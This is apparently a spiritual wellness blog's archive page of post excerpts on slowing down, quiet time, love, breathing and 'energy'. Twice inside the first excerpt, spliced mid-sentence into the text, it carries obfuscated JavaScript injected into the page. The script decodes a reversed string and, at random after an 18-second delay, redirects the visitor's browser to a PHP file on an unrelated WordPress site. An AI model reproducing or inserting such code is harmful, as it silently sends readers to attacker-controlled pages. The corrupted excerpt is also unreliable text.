Mental & Spiritual Well-Being

In our fast paced tightly scheduled world many forget $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to slow down and take quiet time in their lives.  We tend $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to get ungrounded and run around getting stressed over schedules, appointments, kid’s activities, our [...]

In our fast paced society many of us often forget about the importance of taking time to be quiet. We get caught up in our busy lives, trying to meet deadlines and get tasks completed. Our electronic devices and social media further distract us as we find less time to find peace within ourselves. It […]

I have had a new awakening of sorts recently about love. I was encouraged by my recent discussions with friends that, in this time of great change, we indeed need to put our love into greater action. Why may you ask? First of all, I believe love is the greatest force there is. Compassion and […]

As the world pace quickens with the aid of technology people are increasingly wanting to do things quickly. Wisdom tells me differently. The more I meditate and reflect on this the more I am directed to slow down. It isn’t always an easy process, but I truly believe it is an essential action that we […]

One of the most significant actions we can take for ourselves, our family and for the well-being of the world overall is to learn to slow down our lives and live a simpler lifestyle. We spend so much of our time working for things, working to survive and striving to get ahead. We feel a […]

If you can do nothing else in this life, you can try to love. Wherever your journey takes you, you can still love. The highest energy that you leave on this earth, in this lifetime, is love. Love transforms. Love creates. Our goal here on earth can confuse many. Yet I have come to a […]

As we evolve into a higher consciousness many people are seeking a deeper type of love and intimacy. We seek a true love, a passionate, deep and divine relationship in which spiritual growth and support from a partner is a key. I call this true love or divine love. It is the process of connecting […]

Take time to notice your breath. Take a deep breath in, then breathe out… focus on this for a few minutes and let go of all thoughts and worries. How does this make you feel? For most of us this is a relaxing process, a way to calm down and reduce stress. Breathing is of […]

We are made up of energy. This has been proven by modern science. Our bodies and mind feel the vibration of energy. This affects us and the people we interact with. When we feel something, when we say something, when we think something, our energy flows outward to others around us and to the universe […]

When we are positive and loving we create miracles for others. When we are authentic and reach out a helping hand the miraculous occurs. When we are reverent and gentle our energy influences those around us. Our positive and loving energy changes those around us. Miracle workers are light keepers, shining brightly for people to […]